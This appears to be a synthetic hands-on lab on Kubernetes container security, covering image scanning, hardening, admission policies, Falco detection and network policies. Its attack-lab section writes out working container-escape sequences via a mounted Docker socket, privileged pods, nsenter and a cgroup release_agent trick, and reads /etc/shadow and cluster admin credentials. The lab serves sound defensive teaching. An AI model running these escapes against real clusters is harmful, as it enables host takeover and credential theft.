Lab 21: Cloud Container Security¶

# Create a local Kubernetes cluster with kind (SYNTHETIC)
$ kind create cluster --name cloudpay-lab --config kind-config.yaml
Creating cluster "cloudpay-lab" ...
 ✓ Ensuring node image (kindest/node:v1.29.2) 🖼
 ✓ Preparing nodes 📦 📦 📦
 ✓ Writing configuration 📝
 ✓ Starting control-plane 🕹️
 ✓ Installing CNI 🔌
 ✓ Installing StorageClass 💾
 ✓ Joining worker nodes 🚜
Set kubectl context to "kind-cloudpay-lab"

# Verify cluster is running
$ kubectl cluster-info --context kind-cloudpay-lab
Kubernetes control plane is running at https://127.0.0.1:46789
CoreDNS is running at https://127.0.0.1:46789/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

# Create namespaces for the lab
$ kubectl create namespace cloudpay-prod
namespace/cloudpay-prod created

$ kubectl create namespace cloudpay-staging
namespace/cloudpay-staging created

$ kubectl create namespace monitoring
namespace/monitoring created

$ kubectl create namespace istio-system
namespace/istio-system created

# Scan the vulnerable image (SYNTHETIC)
$ trivy image registry.novstar.example.com/payment-gateway:v2.1.0

2026-03-24T10:15:32Z  INFO  Vulnerability DB loaded
2026-03-24T10:15:34Z  INFO  Detected OS: ubuntu 22.04

registry.novstar.example.com/payment-gateway:v2.1.0 (ubuntu 22.04)

Total: 247 (UNKNOWN: 3, LOW: 68, MEDIUM: 112, HIGH: 51, CRITICAL: 13)

┌────────────────────┬──────────────────┬──────────┬────────────────┬─────────────────┬──────────────────────────────────────┐
│     Library        │  Vulnerability   │ Severity │ Installed Ver  │   Fixed Ver     │            Title                     │
├────────────────────┼──────────────────┼──────────┼────────────────┼─────────────────┼──────────────────────────────────────┤
│ libssl3            │ CVE-2024-XXXXX   │ CRITICAL │ 3.0.2-0ubuntu  │ 3.0.2-0ubuntu   │ OpenSSL: Buffer overflow in          │
│                    │                  │          │ 1.12           │ 1.15            │ X.509 certificate verification       │
│ openssh-server     │ CVE-2024-XXXXX   │ CRITICAL │ 1:8.9p1-3ubu   │ 1:8.9p1-3ubu   │ OpenSSH: Remote code execution       │
│                    │                  │          │ ntu0.6         │ ntu0.10         │ via crafted authentication           │
│ python3.10         │ CVE-2024-XXXXX   │ HIGH     │ 3.10.6-1~22.   │ 3.10.6-1~22.   │ Python: Arbitrary code execution     │
│                    │                  │          │ 04.2           │ 04.5            │ via crafted pickle data              │
│ curl               │ CVE-2024-XXXXX   │ HIGH     │ 7.81.0-1ubunt  │ 7.81.0-1ubunt  │ curl: HSTS bypass via IDN            │
│                    │                  │          │ u1.15          │ u1.18           │                                      │
│ nmap               │ CVE-2024-XXXXX   │ MEDIUM   │ 7.91+dfsg1+r   │                 │ Nmap: Script engine RCE              │
│                    │                  │          │ eally-1build1  │                 │                                      │
└────────────────────┴──────────────────┴──────────┴────────────────┴─────────────────┴──────────────────────────────────────┘

Python (pip)
Total: 18 (HIGH: 8, CRITICAL: 3, MEDIUM: 5, LOW: 2)

┌─────────────────┬──────────────────┬──────────┬────────────────┬─────────────────┬──────────────────────────────────────┐
│    Library      │  Vulnerability   │ Severity │ Installed Ver  │   Fixed Ver     │            Title                     │
├─────────────────┼──────────────────┼──────────┼────────────────┼─────────────────┼──────────────────────────────────────┤
│ Flask           │ CVE-2024-XXXXX   │ HIGH     │ 2.2.2          │ 2.3.3           │ Flask: Session cookie tampering      │
│ requests        │ CVE-2024-XXXXX   │ HIGH     │ 2.28.0         │ 2.31.0          │ requests: Unintended credential      │
│                 │                  │          │                │                 │ exposure on redirect                 │
│ cryptography    │ CVE-2024-XXXXX   │ CRITICAL │ 38.0.1         │ 42.0.0          │ cryptography: NULL pointer           │
│                 │                  │          │                │                 │ deref in PKCS12 parsing              │
│ Werkzeug        │ CVE-2024-XXXXX   │ HIGH     │ 2.2.2          │ 2.3.8           │ Werkzeug: Debugger PIN bypass        │
└─────────────────┴──────────────────┴──────────┴────────────────┴─────────────────┴──────────────────────────────────────┘

Secrets found in image:
  /app/.env — AWS_ACCESS_KEY_ID=REDACTED
  /app/.env — AWS_SECRET_ACCESS_KEY=REDACTED
  /app/config/database.yml — password: REDACTED

# Scan the same image with Grype (SYNTHETIC)
$ grype registry.novstar.example.com/payment-gateway:v2.1.0

 ✔ Vulnerability DB loaded
 ✔ Loaded image
 ✔ Parsed image
 ✔ Cataloged packages      [312 packages]
 ✔ Scanned for vulnerabilities     [265 vulnerability matches]

NAME                INSTALLED     FIXED-IN      TYPE    VULNERABILITY   SEVERITY
cryptography        38.0.1        42.0.0        python  CVE-2024-XXXXX  Critical
libssl3             3.0.2-0ubu... 3.0.2-0ubu... deb     CVE-2024-XXXXX  Critical
openssh-server      1:8.9p1-3...  1:8.9p1-3...  deb     CVE-2024-XXXXX  Critical
Flask               2.2.2         2.3.3         python  CVE-2024-XXXXX  High
python3.10          3.10.6-1~...  3.10.6-1~...  deb     CVE-2024-XXXXX  High
requests            2.28.0        2.31.0        python  CVE-2024-XXXXX  High
Werkzeug            2.2.2         2.3.8         python  CVE-2024-XXXXX  High
curl                7.81.0-1...   7.81.0-1...   deb     CVE-2024-XXXXX  High
...

265 vulnerabilities found (13 critical, 51 high, 112 medium, 68 low, 3 unknown, 18 negligible)

# .dockerignore — prevent sensitive files from entering the image
.git
.gitignore
.env
.env.*
*.md
*.txt
!requirements.txt
Dockerfile*
docker-compose*
tests/
docs/
scripts/
*.pyc
__pycache__/
.pytest_cache/
.coverage
htmlcov/
*.pem
*.key
*.crt
credentials/
secrets/

# Build the hardened image (SYNTHETIC)
$ docker build -t registry.novstar.example.com/payment-gateway:v2.2.0-hardened .

# Scan the hardened image
$ trivy image registry.novstar.example.com/payment-gateway:v2.2.0-hardened

registry.novstar.example.com/payment-gateway:v2.2.0-hardened (debian 12)

Total: 12 (LOW: 5, MEDIUM: 5, HIGH: 2, CRITICAL: 0)

# Compare sizes
$ docker images | grep payment-gateway
payment-gateway   v2.1.0          1.2GB
payment-gateway   v2.2.0-hardened 89MB

# Sign the hardened image with cosign (SYNTHETIC)
$ cosign sign --key cosign.key registry.novstar.example.com/payment-gateway:v2.2.0-hardened

Pushing signature to: registry.novstar.example.com/payment-gateway:sha256-abc123...sig

# Verify the signature
$ cosign verify --key cosign.pub registry.novstar.example.com/payment-gateway:v2.2.0-hardened

Verification for registry.novstar.example.com/payment-gateway:v2.2.0-hardened --
The following checks were performed on each of these signatures:
  - The cosign claims were validated
  - The signatures were verified against the specified public key

[{"critical":{"identity":{"docker-reference":"registry.novstar.example.com/payment-gateway"},
"image":{"docker-manifest-digest":"sha256:abc123def456..."},
"type":"cosign container image signature"},
"optional":{"timestamp":"2026-03-24T10:30:00Z"}}]

# Label namespace to enforce Restricted Pod Security Standard
$ kubectl label namespace cloudpay-prod \
    pod-security.kubernetes.io/enforce=restricted \
    pod-security.kubernetes.io/enforce-version=latest \
    pod-security.kubernetes.io/audit=restricted \
    pod-security.kubernetes.io/audit-version=latest \
    pod-security.kubernetes.io/warn=restricted \
    pod-security.kubernetes.io/warn-version=latest

namespace/cloudpay-prod labeled

# Verify labels
$ kubectl get namespace cloudpay-prod -o jsonpath='{.metadata.labels}' | jq .
{
  "kubernetes.io/metadata.name": "cloudpay-prod",
  "pod-security.kubernetes.io/enforce": "restricted",
  "pod-security.kubernetes.io/enforce-version": "latest",
  "pod-security.kubernetes.io/audit": "restricted",
  "pod-security.kubernetes.io/audit-version": "latest",
  "pod-security.kubernetes.io/warn": "restricted",
  "pod-security.kubernetes.io/warn-version": "latest"
}

# Try deploying the insecure pod — it will be rejected
$ kubectl apply -f insecure-payment-gateway.yaml
Error from server (Forbidden): error when creating "insecure-payment-gateway.yaml":
pods "payment-gateway" is forbidden: violates PodSecurity "restricted:latest":
  privileged (container "payment-gateway" must not set securityContext.privileged=true),
  runAsNonRoot (pod or container "payment-gateway" must set securityContext.runAsNonRoot=true),
  hostPath volumes (volumes "docker-sock", "host-filesystem" uses disallowed hostPath),
  seccompProfile (pod or container "payment-gateway" must set securityContext.seccompProfile.type)

# Install OPA Gatekeeper via Helm (SYNTHETIC)
$ helm repo add gatekeeper https://open-policy-agent.github.io/gatekeeper/charts
$ helm install gatekeeper gatekeeper/gatekeeper --namespace gatekeeper-system --create-namespace

NAME: gatekeeper
STATUS: deployed
REVISION: 1

# Verify constraints are enforced (SYNTHETIC)
$ kubectl get constraints
NAME                      ENFORCEMENT-ACTION   TOTAL-VIOLATIONS
block-privileged-prod     deny                 0
block-hostpath-prod       deny                 0
require-nonroot-prod      deny                 0

# Test: try deploying a privileged pod
$ kubectl run test-priv --image=nginx --namespace=cloudpay-prod \
    --overrides='{"spec":{"containers":[{"name":"test","image":"nginx","securityContext":{"privileged":true}}]}}'

Error from server (Forbidden): admission webhook "validation.gatekeeper.sh" denied the request:
  [block-privileged-prod] Privileged container not allowed: test

# Create a deliberately vulnerable pod in attack-lab namespace (SYNTHETIC)
$ kubectl create namespace attack-lab
$ kubectl label namespace attack-lab pod-security.kubernetes.io/enforce=privileged

# Deploy vulnerable pod with Docker socket mounted
$ cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: vulnerable-socket-pod
  namespace: attack-lab
spec:
  containers:
  - name: attacker
    image: registry.novstar.example.com/ubuntu-tools:latest
    command: ["/bin/bash", "-c", "sleep infinity"]
    volumeMounts:
    - name: docker-sock
      mountPath: /var/run/docker.sock
  volumes:
  - name: docker-sock
    hostPath:
      path: /var/run/docker.sock
      type: Socket
EOF

# Exec into the pod (SYNTHETIC — educational simulation)
$ kubectl exec -it vulnerable-socket-pod -n attack-lab -- /bin/bash

# Inside the pod: discover Docker socket is available
root@vulnerable-socket-pod:/# ls -la /var/run/docker.sock
srw-rw---- 1 root docker 0 Mar 24 10:00 /var/run/docker.sock

# Install Docker CLI inside the container
root@vulnerable-socket-pod:/# curl -fsSL https://get.docker.com -o get-docker.sh
root@vulnerable-socket-pod:/# sh get-docker.sh

# List containers on the HOST (proof of escape)
root@vulnerable-socket-pod:/# docker ps
CONTAINER ID   IMAGE                    COMMAND            STATUS        NAMES
a1b2c3d4e5f6   payment-gateway:v2.2.0   "python3 app.py"   Up 3 hours   k8s_payment...
f6e5d4c3b2a1   auth-service:v1.5.0      "node server.js"   Up 3 hours   k8s_auth...
...

# Create a privileged container that mounts the host root filesystem
root@vulnerable-socket-pod:/# docker run -it --privileged --pid=host \
    -v /:/hostfs registry.novstar.example.com/ubuntu-tools:latest \
    chroot /hostfs /bin/bash

# Now running as root on the HOST (SYNTHETIC — escape achieved)
root@host:/# whoami
root
root@host:/# cat /etc/hostname
ip-10-50-1-10.ec2.internal
root@host:/# cat /etc/shadow | head -3
root:REDACTED:19400:0:99999:7:::

# Deploy a privileged container (SYNTHETIC — attack-lab namespace only)
$ cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: vulnerable-privileged-pod
  namespace: attack-lab
spec:
  containers:
  - name: attacker
    image: registry.novstar.example.com/ubuntu-tools:latest
    command: ["/bin/bash", "-c", "sleep infinity"]
    securityContext:
      privileged: true
EOF

# Exec into the privileged pod (SYNTHETIC)
$ kubectl exec -it vulnerable-privileged-pod -n attack-lab -- /bin/bash

# Check available devices — privileged containers see host devices
root@vulnerable-privileged-pod:/# fdisk -l
Disk /dev/nvme0n1: 100 GiB, 107374182400 bytes, 209715200 sectors
...

# Mount the host root filesystem
root@vulnerable-privileged-pod:/# mkdir -p /mnt/hostfs
root@vulnerable-privileged-pod:/# mount /dev/nvme0n1p1 /mnt/hostfs

# Access host files (SYNTHETIC)
root@vulnerable-privileged-pod:/# cat /mnt/hostfs/etc/hostname
ip-10-50-1-10.ec2.internal

root@vulnerable-privileged-pod:/# cat /mnt/hostfs/etc/kubernetes/admin.conf
apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: REDACTED
    server: https://203.0.113.10:6443
  name: cloudpay-prod
...

# Escape via nsenter — enter all host namespaces
root@vulnerable-privileged-pod:/# nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

# Now in the host namespace as root
root@ip-10-50-1-10:/# ps aux | head -5
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.1  169556  9352 ?        Ss   08:00   0:03 /sbin/init
root         2  0.0  0.0       0     0 ?        S    08:00   0:00 [kthreadd]
...

# Inside a container with SYS_ADMIN capability (SYNTHETIC)
# This technique exploits cgroup v1 release_agent to execute
# commands on the host when a cgroup is emptied

root@vulnerable-pod:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp

# Set up the release agent to execute a payload on the host
root@vulnerable-pod:/# mkdir /tmp/cgrp/escape
root@vulnerable-pod:/# echo 1 > /tmp/cgrp/escape/notify_on_release

# Find the container's path on the host
root@vulnerable-pod:/# host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
root@vulnerable-pod:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent

# Create the escape payload (writes proof file on host) — SYNTHETIC
root@vulnerable-pod:/# cat > /cmd <<EOF
#!/bin/bash
hostname > /tmp/escape-proof.txt
id >> /tmp/escape-proof.txt
EOF
root@vulnerable-pod:/# chmod +x /cmd

# Trigger the release agent by emptying the cgroup
root@vulnerable-pod:/# sh -c "echo \$\$ > /tmp/cgrp/escape/cgroup.procs"

# The command was executed on the host (SYNTHETIC)
# Host now has /tmp/escape-proof.txt with:
#   ip-10-50-1-10.ec2.internal
#   uid=0(root) gid=0(root) groups=0(root)

# Install Falco via Helm (SYNTHETIC)
$ helm repo add falcosecurity https://falcosecurity.github.io/charts
$ helm install falco falcosecurity/falco \
    --namespace monitoring \
    --set driver.kind=ebpf \
    --set falcosidekick.enabled=true \
    --set falcosidekick.webui.enabled=true

NAME: falco
STATUS: deployed

# Deploy the custom rules (SYNTHETIC)
$ kubectl create configmap falco-custom-rules \
    --from-file=falco-container-escape-rules.yaml \
    --namespace monitoring

# Verify Falco is detecting events
$ kubectl logs -l app.kubernetes.io/name=falco -n monitoring --tail=20

10:45:32.123456789: Critical Docker socket accessed from container
  (user=root command=docker ps container_id=a1b2c3d4
   container_name=attacker image=registry.novstar.example.com/ubuntu-tools
   namespace=attack-lab pod=vulnerable-socket-pod)

10:46:15.987654321: Critical nsenter executed in container — potential namespace escape
  (user=root command=nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
   container_id=b2c3d4e5
   container_name=attacker image=registry.novstar.example.com/ubuntu-tools
   namespace=attack-lab pod=vulnerable-privileged-pod)

# Verify default network behavior — all pods can communicate (SYNTHETIC)
$ kubectl run test-client --image=busybox --namespace=cloudpay-prod \
    --command -- sleep 3600

# From test-client, reach the payment gateway (should work without NetworkPolicy)
$ kubectl exec test-client -n cloudpay-prod -- wget -qO- http://payment-gateway:8080/healthz
{"status": "healthy", "version": "2.2.0"}

# From test-client, reach the auth service (should also work — no segmentation)
$ kubectl exec test-client -n cloudpay-prod -- wget -qO- http://auth-service:8080/healthz
{"status": "healthy", "version": "1.5.0"}

# From test-client, reach services in OTHER namespaces (cross-namespace)
$ kubectl exec test-client -n cloudpay-prod -- wget -qO- \
    http://prometheus-server.monitoring.svc.cluster.local:9090/api/v1/targets
{"status":"success","data":{"activeTargets":[...]}}

# Apply default-deny (SYNTHETIC)
$ kubectl apply -f default-deny-all.yaml
networkpolicy.networking.k8s.io/default-deny-all created

# Verify — test-client can no longer reach any service
$ kubectl exec test-client -n cloudpay-prod -- wget -qO- --timeout=3 \
    http://payment-gateway:8080/healthz
wget: download timed out

# Even DNS is blocked
$ kubectl exec test-client -n cloudpay-prod -- nslookup payment-gateway
;; connection timed out; no servers could be reached

# Apply all network policies (SYNTHETIC)
$ kubectl apply -f network-policies/
networkpolicy.networking.k8s.io/allow-dns created
networkpolicy.networking.k8s.io/payment-gateway-ingress created
networkpolicy.networking.k8s.io/payment-gateway-egress created
networkpolicy.networking.k8s.io/auth-service-ingress created
networkpolicy.networking.k8s.io/allow-prometheus-scrape created

# Verify — payment gateway can reach auth-service
$ kubectl exec deployment/payment-gateway -n cloudpay-prod -- \
    wget -qO- --timeout=3 http://auth-service:8080/healthz
{"status": "healthy", "version": "1.5.0"}

# Verify — payment gateway CANNOT reach reporting-service (not in policy)
$ kubectl exec deployment/payment-gateway -n cloudpay-prod -- \
    wget -qO- --timeout=3 http://reporting-service:8080/healthz
wget: download timed out

# Verify — payment gateway CANNOT reach monitoring namespace
$ kubectl exec deployment/payment-gateway -n cloudpay-prod -- \
    wget -qO- --timeout=3 http://prometheus-server.monitoring:9090/api/v1/targets
wget: download timed out